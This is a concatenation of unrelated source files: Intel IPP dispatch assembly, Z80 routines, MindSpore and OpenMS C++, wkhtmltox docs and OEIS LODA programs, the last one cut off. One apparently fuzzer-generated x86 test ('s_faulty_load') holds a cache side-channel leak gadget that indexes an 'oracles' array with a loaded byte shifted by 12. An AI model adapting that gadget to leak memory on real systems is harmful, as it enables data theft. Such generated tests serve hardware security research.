extern n8_ippsGFpECSignNR:function
extern y8_ippsGFpECSignNR:function
extern e9_ippsGFpECSignNR:function
extern l9_ippsGFpECSignNR:function
extern n0_ippsGFpECSignNR:function
extern k0_ippsGFpECSignNR:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpECSignNR
.Larraddr_ippsGFpECSignNR:
dq m7_ippsGFpECSignNR
dq n8_ippsGFpECSignNR
dq y8_ippsGFpECSignNR
dq e9_ippsGFpECSignNR
dq l9_ippsGFpECSignNR
dq n0_ippsGFpECSignNR
dq k0_ippsGFpECSignNR
segment .text
global ippsGFpECSignNR:function (ippsGFpECSignNR.LEndippsGFpECSignNR - ippsGFpECSignNR)
.Lin_ippsGFpECSignNR:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpECSignNR:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpECSignNR]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpECSignNR:
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x3701, %rsi
lea addresses_D_ht+0x1e341, %rdi
clflush (%rdi)
nop
nop
xor $32532, %rdx
mov $64, %rcx
rep movsq
mfence
lea addresses_normal_ht+0xb2b1, %r15
sub %rbp, %rbp
mov (%r15), %di
nop
and %rcx, %rcx
lea addresses_UC_ht+0x17313, %rsi
lea addresses_UC_ht+0xfd71, %rdi
sub %r10, %r10
mov $101, %rcx
rep movsl
inc %rdi
lea addresses_A_ht+0x11d9c, %r10
sub %rcx, %rcx
movb $0x61, (%r10)
nop
nop
nop
nop
nop
cmp $31088, %rbp
lea addresses_D_ht+0x12ba1, %rsi
lea addresses_WT_ht+0x13806, %rdi
sub $48720, %rbx
mov $108, %rcx
rep movsw
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0xa31, %r10
inc %rsi
movw $0x6162, (%r10)
nop
add $15690, %r10
lea addresses_D_ht+0x19541, %rsi
dec %rbx
mov (%rsi), %rbp
nop
nop
nop
sub %rdx, %rdx
lea addresses_WC_ht+0x15b79, %rbp
nop
nop
nop
nop
xor $60915, %rdi
mov (%rbp), %rdx
nop
nop
nop
xor %rbx, %rbx
lea addresses_UC_ht+0x17631, %rdi
nop
sub $21793, %r10
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
vmovups %ymm4, (%rdi)
nop
nop
cmp $42935, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rbp
push %rdi
push %rdx
// Store
lea addresses_UC+0x9a31, %r9
nop
nop
nop
nop
nop
add %r15, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm3
movups %xmm3, (%r9)
and %r15, %r15
// Store
lea addresses_normal+0x122f1, %r13
nop
nop
nop
nop
nop
sub %rbp, %rbp
movb $0x51, (%r13)
nop
nop
nop
nop
add $39098, %rbp
// Faulty Load
lea addresses_D+0xae31, %r9
inc %rbp
mov (%r9), %r15d
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rdx
pop %rdi
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 6}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'dst': {'same': True, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
// -*- mode: c++; tab-width: 4; indent-tabs-mode: t; eval: (progn (c-set-style "stroustrup") (c-set-offset 'innamespace 0)); -*-
// vi:set ts=4 sts=4 sw=4 noet :
//
// Copyright 2010-2020 wkhtmltopdf authors
//
// This file is part of wkhtmltopdf.
//
// wkhtmltopdf is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// wkhtmltopdf is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with wkhtmltopdf. If not, see <http://www.gnu.org/licenses/>.
/**
* \mainpage
*
* libwkhtmltox is divided into several parts.
*
* \section PDFH To PDF c-bindings
*
* The file \ref pdf.h contains a
* fairly high level and stable pure c binding to wkhtmltopdf. These
* binding are well documented and do not depend on QT. Using this is
* the recommended way of interfacing with the PDF portion of
* libwkhtmltox.
*
* Using these binding it is relatively straight forward to convert one
* or more HTML document to a PDF file, using the following process:
*
* - \ref wkhtmltopdf_init is called.
* - A \ref wkhtmltopdf_global_settings object is creating by calling
* \ref wkhtmltopdf_create_global_settings.
* - Non web page specific \ref pagesettings for the conversion are set by multiple
* calls to \ref wkhtmltopdf_set_global_setting.
* - A \ref wkhtmltopdf_converter object is created by calling
* \ref wkhtmltopdf_create_converter, which consumes the global_settings instance.
* - A number of object (web pages) are added to the conversion process, this is done by
* - Creating a \ref wkhtmltopdf_object_settings instance by calling
* \ref wkhtmltopdf_create_object_settings.
* - Setting web page specific \ref pagesettings by multiple calls to
* \ref wkhtmltopdf_set_object_setting.
* - Adding the object to the conversion process by calling \ref wkhtmltopdf_add_object
* - A number of callback function are added to the converter object.
* - The conversion is performed by calling \ref wkhtmltopdf_convert.
* - The converter object is destroyed by calling \ref wkhtmltopdf_destroy_converter.
*
* \section IMAGEH To image c-bindings
*
* The file \ref image.h contains a
* fairly high level and stable pure c binding to wkhtmltoimage. These
* binding are well documented and do not depend on QT. Using this is
* the recommended way of interfacing with the image portion of
* libwkhtmltox.
*
* Using these binding it is relatively straight forward to convert one
* or more HTML document to a raster image or SVG document, using the following process:
*
* - \ref wkhtmltoimage_init is called.
* - A \ref wkhtmltoimage_global_settings object is creating by calling
* \ref wkhtmltoimage_create_global_settings.
* - \ref pagesettings for the conversion are set by multiple
* calls to \ref wkhtmltoimage_set_global_setting.
* - A \ref wkhtmltoimage_converter object is created by calling
* \ref wkhtmltoimage_create_converter, which consumes the global_settings instance.
* - A number of callback function are added to the converter object.
* - The conversion is performed by calling \ref wkhtmltoimage_convert.
* - The converter object is destroyed by calling \ref wkhtmltoimage_destroy_converter.
*
* \section RESTH The rest of the headers.
*
* The rest of the headers directly exposes the C++ QT dependent class
* used internally by wkhtmltopdf and wkhtmltoimage. They are not
* fairly well documented and are not guaranteed to remain stable.
* unless you know what you are doing you should not use these bindings.
*
*/
|
; int esxdos_disk_read(uchar device, ulong position, void *dst)
SECTION code_clib
SECTION code_esxdos
PUBLIC esxdos_disk_read_callee
EXTERN asm_esxdos_disk_read
esxdos_disk_read_callee:
pop hl
pop ix
pop de
pop bc
ex (sp),hl
ld a,l
push ix
pop hl
jp asm_esxdos_disk_read
|
/**
* Copyright 2019 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "frontend/parallel/ops_info/get_next_info.h"
#include <algorithm>
#include <memory>
#include <utility>
#include <vector>
#include "ir/value.h"
#include "frontend/parallel/device_matrix.h"
#include "frontend/parallel/strategy.h"
#include "include/common/utils/parallel_context.h"
#include "frontend/parallel/tensor_layout/tensor_redistribution.h"
namespace mindspore {
namespace parallel {
Status GetNextInfo::InferTensorMap() {
auto slice_dim_iter = std::find(dev_matrix_shape_origin_.begin(), dev_matrix_shape_origin_.end(), shard_num_);
if (slice_dim_iter == dev_matrix_shape_origin_.end()) {
MS_LOG(ERROR) << name_ << ": The dataset shard strategy only support shard in one dim.";
return FAILED;
}
size_t slice_dim = size_t(slice_dim_iter - dev_matrix_shape_origin_.begin());
for (size_t i = 0; i < dataset_strategy_.size(); i++) {
Shape tensor_map_index;
for (auto dim : dataset_strategy_[i]) {
if (dim == 1) {
tensor_map_index.push_back(MAP_NONE);
} else if (dim == shard_num_) {
if (repeated_num_in_dev_matrix_right_ && dev_matrix_shape_origin_.size() != dev_matrix_shape_.size() &&
is_auto_parallel_) {
tensor_map_index.push_back(dev_matrix_shape_origin_.size() - slice_dim);
} else {
tensor_map_index.push_back(dev_matrix_shape_origin_.size() - 1 - slice_dim);
}
} else {
MS_LOG(ERROR) << name_ << ": The dataset shard strategy only support fully shard in one dim.";
return FAILED;
}
}
outputs_tensor_map_.push_back(tensor_map_index);
}
return SUCCESS;
}
Status GetNextInfo::InferTensorLayout(TensorLayouts *outputs_layout) {
if (outputs_layout == nullptr) {
MS_LOG(ERROR) << name_ << " : The layout is null.";
return FAILED;
}
for (size_t i = 0; i < outputs_shape_.size(); ++i) {
TensorLayout output_layout;
if (output_layout.InitFromVector(dev_matrix_shape_, outputs_tensor_map_[i], outputs_shape_[i]) != SUCCESS) {
return FAILED;
}
outputs_layout->push_back(output_layout);
}
return SUCCESS;
}
Status GetNextInfo::InferTensorInfo() {
TensorLayouts outputs_layout;
if (InferTensorLayout(&outputs_layout) != SUCCESS) {
return FAILED;
}
for (size_t i = 0; i < outputs_shape_.size(); ++i) {
TensorInfo output_tensor_info(outputs_layout[i]);
outputs_tensor_info_.push_back(output_tensor_info);
}
return SUCCESS;
}
Status GetNextInfo::InferDevMatrixShape() {
if (dataset_strategy_.empty()) {
MS_LOG(ERROR) << "The dataset strategy is empty";
return FAILED;
}
auto dev_matrix_iter =
std::max_element(dataset_strategy_.begin(), dataset_strategy_.end(),
[](const Dimensions &stra1, const Dimensions &stra2) { return stra1.size() < stra2.size(); });
if (dev_matrix_iter != dataset_strategy_.end()) {
dev_matrix_shape_ = *dev_matrix_iter;
}
auto shard_num_iter = std::max_element(dev_matrix_shape_.begin(), dev_matrix_shape_.end());
if (shard_num_iter != dev_matrix_shape_.end()) {
shard_num_ = *shard_num_iter;
}
dev_matrix_shape_origin_ = dev_matrix_shape_;
return SUCCESS;
}
Status GetNextInfo::CheckStrategy(const StrategyPtr &strategy) {
Strategys stras = strategy->GetInputDim();
for (Dimensions stra : stras) {
if (stra.size() != 0) {
MS_LOG(ERROR) << name_ << " : Invalid strategy.";
return FAILED;
}
}
MS_EXCEPTION_IF_NULL(ParallelContext::GetInstance());
if (!ParallelContext::GetInstance()->dataset_strategy().empty()) {
dataset_strategy_ = ParallelContext::GetInstance()->dataset_strategy();
} else {
bool full_batch = ParallelContext::GetInstance()->full_batch();
int64_t dev_num = full_batch ? 1 : g_device_manager->stage_device_num();
for (size_t i = 0; i < outputs_shape_.size(); i++) {
Dimensions input_strategy;
for (size_t j = 0; j < outputs_shape_[i].size(); j++) {
input_strategy.push_back(1);
}
dataset_strategy_.push_back(input_strategy);
}
for (auto &stra : dataset_strategy_) {
if (!stra.empty()) {
stra[0] = dev_num;
}
}
}
return SUCCESS;
}
Status GetNextInfo::GetAttrTypes() {
auto iter = attrs_.find(TYPES);
if (iter != attrs_.end()) {
MS_EXCEPTION_IF_NULL(iter->second);
if (iter->second->isa<ValueList>()) {
auto iter_cast = iter->second->cast<ValueListPtr>();
MS_EXCEPTION_IF_NULL(iter_cast);
auto types = iter_cast->value();
for (auto &type : types) {
MS_EXCEPTION_IF_NULL(type);
types_.push_back(type->ToString());
}
} else if (iter->second->isa<ValueTuple>()) {
auto iter_tuple = iter->second->cast<ValueTuplePtr>();
MS_EXCEPTION_IF_NULL(iter_tuple);
auto tuple_types = iter_tuple->value();
for (auto &ele : tuple_types) {
MS_EXCEPTION_IF_NULL(ele);
types_.push_back(ele->ToString());
}
} else {
MS_LOG(ERROR) << name_ << " : The value of types is not list.";
return FAILED;
}
}
return SUCCESS;
}
Status GetNextInfo::GetAttrShapes() {
shapes_ = outputs_shape_;
if (shapes_.size() == 0) {
MS_LOG(ERROR) << name_ << " : Shape is None.";
return FAILED;
}
return SUCCESS;
}
Status GetNextInfo::GetAttrOutPutNum() {
auto iter = attrs_.find(GETNEXT_NUM);
if (iter != attrs_.end()) {
MS_EXCEPTION_IF_NULL(iter->second);
if (iter->second->isa<Int64Imm>()) {
output_num_ = iter->second->cast<Int64ImmPtr>()->value();
} else {
MS_LOG(ERROR) << name_ << " : The value of output_num is not int64_t.";
return FAILED;
}
}
return SUCCESS;
}
Status GetNextInfo::GetAttrs() {
repeated_num_in_dev_matrix_right_ = false;
if (ParallelContext::GetInstance()->dataset_repeat_dim_right()) {
repeated_num_in_dev_matrix_right_ = true;
}
if (GetAttrTypes() == FAILED || GetAttrShapes() == FAILED || GetAttrOutPutNum() == FAILED) {
return FAILED;
}
if (types_.size() != LongToSize(output_num_) || shapes_.size() != LongToSize(output_num_) || output_num_ == 0) {
MS_LOG(ERROR) << name_ << " : The output_num is not equal to shapes size.";
return FAILED;
}
return SUCCESS;
}
void GetNextInfo::InferReplaceOps() {
Shapes out_shapes;
(void)std::transform(outputs_tensor_info_.begin(), outputs_tensor_info_.end(), std::back_inserter(out_shapes),
[](auto tensor_info) { return tensor_info.slice_shape(); });
ValuePtr new_shapes = MakeValue(out_shapes);
Attr attr_types = std::make_pair(TYPES, attrs_[TYPES]);
Attr attr_shapes = std::make_pair(SHAPES, new_shapes);
Attr attr_num = std::make_pair(GETNEXT_NUM, attrs_[GETNEXT_NUM]);
Attr attr_shared_name = std::make_pair(SHARED_NAME, attrs_[SHARED_NAME]);
OperatorAttrs attrs = {attr_types, attr_shapes, attr_num, attr_shared_name};
OperatorParams params;
OperatorArgs args = std::make_pair(attrs, params);
replace_op_ = {std::make_pair(GET_NEXT, args)};
}
Status GetNextInfo::SetCostUnderStrategy(const StrategyPtr &strategy) { return SetCostUnderStrategyBase(strategy); }
std::vector<StrategyPtr> GetNextInfo::GenerateOpStrategies(int64_t stage_id) {
Strategys stra;
StrategyPtr sp = std::make_shared<Strategy>(stage_id, stra);
std::vector<StrategyPtr> sp_vector;
sp_vector.push_back(sp);
return sp_vector;
}
} // namespace parallel
} // namespace mindspore
|
times (label-$) db 0
label: db 'Where am I?'
|
;
; Generic pseudo graphics routines for text-only platforms
; Version for the 2x3 graphics symbols
;
; Written by Stefano Bodrato 05/09/2007
;
;
; Get pixel at (x,y) coordinate.
;
;
; $Id: pointxy.asm,v 1.2 2008/04/07 17:43:30 stefano Exp $
;
INCLUDE "graphics/text6/textgfx.inc"
XLIB pointxy
LIB textpixl
LIB div3
XREF COORDS
XREF base_graphics
.pointxy
ld a,h
cp maxx
ret nc
ld a,l
cp maxy
ret nc ; y0 out of range
inc a
push bc
push de
push hl
ld (COORDS),hl
ld c,a ; y
ld b,h ; x
push bc
ld hl,div3
ld d,0
ld e,c
adc hl,de
ld a,(hl)
ld c,a ; y/3
srl b ; x/2
ld hl,(base_graphics)
ld a,c
ld c,b ; !!
and a
ld de,maxx/2
sbc hl,de
jr z,r_zero
ld b,a
.r_loop
add hl,de
djnz r_loop
.r_zero ; hl = char address
ld b,a ; keep y/3
ld e,c
add hl,de
ld a,(hl) ; get current symbol from screen
ld e,a ; ..and its copy
push hl ; char address
push bc ; keep y/3
ld hl,textpixl
ld e,0
ld b,64 ; whole symbol table size
.ckmap cp (hl) ; compare symbol with the one in map
jr z,chfound
inc hl
inc e
djnz ckmap
ld e,0
.chfound ld a,e
pop bc ; restore y/3 in b
pop hl ; char address
ex (sp),hl ; save char address <=> restore x,y (y=h, x=l)
ld c,a ; keep the symbol
ld a,l
inc a
inc a
sub b
sub b
sub b ; we get the remainder of y/3
ld l,a
ld a,1 ; the pixel we want to draw
jr z,iszero
bit 0,l
jr nz,is1
add a,a
add a,a
.is1
add a,a
add a,a
.iszero
bit 0,h
jr z,evenrow
add a,a ; move down the bit
.evenrow
and c
pop bc
pop hl
pop de
pop bc
ret
|
; A096689: Numbers n such that 2n^2 + 3n + 3 is prime.
; Submitted by Christian Krause
; 0,2,4,10,16,20,26,34,40,44,46,50,62,64,74,76,80,82,86,92,94,110,122,140,160,164,170,176,182,200,202,212,214,220,224,232,236,250,262,296,302,304,310,320,322,326,332,344,346,352,392,400,404,422,424,446,452
mov $1,2
mov $2,332202
mov $5,1
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,4
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
sub $5,5
add $5,$1
mov $6,$5
lpe
mov $0,$1
sub $0,6
div $0,4
|
; A007526: a(n) = n(a(n-1) + 1), a(0) = 0.
; 0,1,4,15,64,325,1956,13699,109600,986409,9864100,108505111,1302061344,16926797485,236975164804,3554627472075,56874039553216,966858672404689,17403456103284420,330665665962403999,6613313319248080000,138879579704209680021,3055350753492612960484,70273067330330098091155,1686553615927922354187744,42163840398198058854693625,1096259850353149530222034276,29599015959535037315994925479,828772446866981044847857913440,24034400959142450300587879489789,721032028774273509017636384693700,22351992892002478779546727925504731,715263772544079320945495293616151424
add $0,1
lpb $0
sub $0,1
add $1,1
mul $1,$2
add $2,1
lpe
mov $0,$1
|
; A344722: a(n) = Sum_{k=1..n} (-1)^(k+1) * floor(n/k)^4.
; Submitted by Christian Krause
; 1,15,81,240,610,1230,2336,3840,6371,9455,14097,19615,27441,36205,48849,61874,79860,99470,124816,150846,186498,221646,267232,313840,373059,431599,508595,581009,673635,767835,881357,989615,1131667,1264111,1429875,1590464,1785010,1970654,2206850,2421426,2687188,2948012,3255118,3540156,3907794,4239054,4641280,5024274,5481765,5911199,6444451,6916849,7495715,8053435,8706015,9297215,10044131,10712015,11512881,12271981,13157823,13974811,14989553,15871956,16953560,17976080,19152466,20214480,21545876
add $0,1
mov $2,$0
lpb $0
max $0,1
mul $1,-1
mov $3,$2
div $3,$0
sub $0,1
pow $3,4
add $1,$3
lpe
mov $0,$1
|
; A060286: 2^(p-1)*(2^p-1) where p is a prime.
; 6,28,496,8128,2096128,33550336,8589869056,137438691328,35184367894528,144115187807420416,2305843008139952128,9444732965670570950656,2417851639228158837784576,38685626227663735544086528,9903520314282971830448816128,40564819207303336344294875201536,166153499473114483824745506383331328
seq $0,40 ; The prime numbers.
mov $1,2
pow $1,$0
bin $1,2
mul $1,2
mov $0,$1
sub $0,12
div $0,2
add $0,6
|
// --------------------------------------------------------------------------
// OpenMS -- Open-Source Mass Spectrometry
// --------------------------------------------------------------------------
// Copyright The OpenMS Team -- Eberhard Karls University Tuebingen,
// ETH Zurich, and Freie Universitaet Berlin 2002-2021.
//
// This software is released under a three-clause BSD license:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of any author or any participating institution
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
// For a full list of authors, refer to the file AUTHORS.
// --------------------------------------------------------------------------
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING
// INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// --------------------------------------------------------------------------
// $Maintainer: Chris Bielow $
// $Authors: Dominik Schmitz, Chris Bielow$
// --------------------------------------------------------------------------
#include <OpenMS/QC/Contaminants.h>
#include <OpenMS/CONCEPT/LogStream.h>
#include <include/OpenMS/CHEMISTRY/ProteaseDigestion.h>
#include <include/OpenMS/METADATA/ProteinIdentification.h>
#include <algorithm>
using namespace std;
namespace OpenMS
{
void Contaminants::compute(FeatureMap& features, const std::vector<FASTAFile::FASTAEntry>& contaminants)
{
// empty FeatureMap
if (features.empty())
{
OPENMS_LOG_WARN << "FeatureMap is empty" << "\n";
}
// empty contaminants database
if (contaminants.empty())
{
throw Exception::MissingInformation(__FILE__, __LINE__, OPENMS_PRETTY_FUNCTION, "No contaminants provided.");
}
// fill the unordered set once with the digested contaminants database
if (digested_db_.empty())
{
if (features.getProteinIdentifications().empty())
{
throw Exception::MissingInformation(__FILE__, __LINE__, OPENMS_PRETTY_FUNCTION, "No proteinidentifications in FeatureMap.");
}
ProteaseDigestion digestor;
String enzyme = features.getProteinIdentifications()[0].getSearchParameters().digestion_enzyme.getName();
// no enzyme is given
if (enzyme == "unknown_enzyme")
{
throw Exception::MissingInformation(__FILE__, __LINE__, OPENMS_PRETTY_FUNCTION, "No digestion enzyme in FeatureMap detected. No computation possible.");
}
digestor.setEnzyme(enzyme);
// get the missed cleavages for the digestor. If none are given, its default is 0.
UInt missed_cleavages(features.getProteinIdentifications()[0].getSearchParameters().missed_cleavages);
digestor.setMissedCleavages(missed_cleavages);
// digest the contaminants database and add the peptides into the unordered set
for (const FASTAFile::FASTAEntry& fe : contaminants)
{
vector<AASequence> current_digest;
digestor.digest(AASequence::fromString(fe.sequence), current_digest);
// fill unordered set digested_db_ with digested sequences
for (auto const& s : current_digest)
{
digested_db_.insert(s.toUnmodifiedString());
}
}
}
Int64 total = 0;
Int64 cont = 0;
double sum_total = 0.0;
double sum_cont = 0.0;
Int64 feature_has_no_sequence = 0;
// Check if peptides of featureMap are contaminants or not and add is_contaminant = 0/1 to the first hit of the peptideidentification.
// If so, raise contaminants ratio.
for (auto& f : features)
{
if (f.getPeptideIdentifications().empty())
{
++feature_has_no_sequence;
continue;
}
for (auto& id : f.getPeptideIdentifications())
{
// peptideidentifications in feature f is not empty
if (id.getHits().empty())
{
++feature_has_no_sequence;
continue;
}
// the one existing peptideidentification has at least one getHits entry
PeptideHit& pep_hit = id.getHits()[0];
String key = (pep_hit.getSequence().toUnmodifiedString());
this->compare_(key, pep_hit, total, cont, sum_total, sum_cont, f.getIntensity());
}
}
// save the contaminants ratio in object before searching through the unassigned peptideidentifications
ContaminantsSummary final;
final.assigned_contaminants_ratio = (cont / double(total));
final.empty_features.first = feature_has_no_sequence;
final.empty_features.second = features.size();
UInt64 utotal = 0;
UInt64 ucont = 0;
// Change the assigned contaminants ratio to total contaminants ratio by adding the unassigned.
// Additionally save the unassigned contaminants ratio and add the is_contaminant = 0/1 to the first hit of the unassigned peptideidentifications.
for (auto& fu : features.getUnassignedPeptideIdentifications())
{
if ( fu.getHits().empty())
{
continue;
}
auto& fu_hit = fu.getHits()[0];
String key = (fu_hit.getSequence().toUnmodifiedString());
++utotal;
// peptide is not in contaminant database
if (!digested_db_.count(key))
{
fu_hit.setMetaValue("is_contaminant", 0);
continue;
}
// peptide is contaminant
++ucont;
fu_hit.setMetaValue("is_contaminant", 1);
}
total += utotal;
cont += ucont;
// save all ratios and the intensity to the object
final.all_contaminants_ratio = (cont / double(total));
final.unassigned_contaminants_ratio = (ucont / double(utotal));
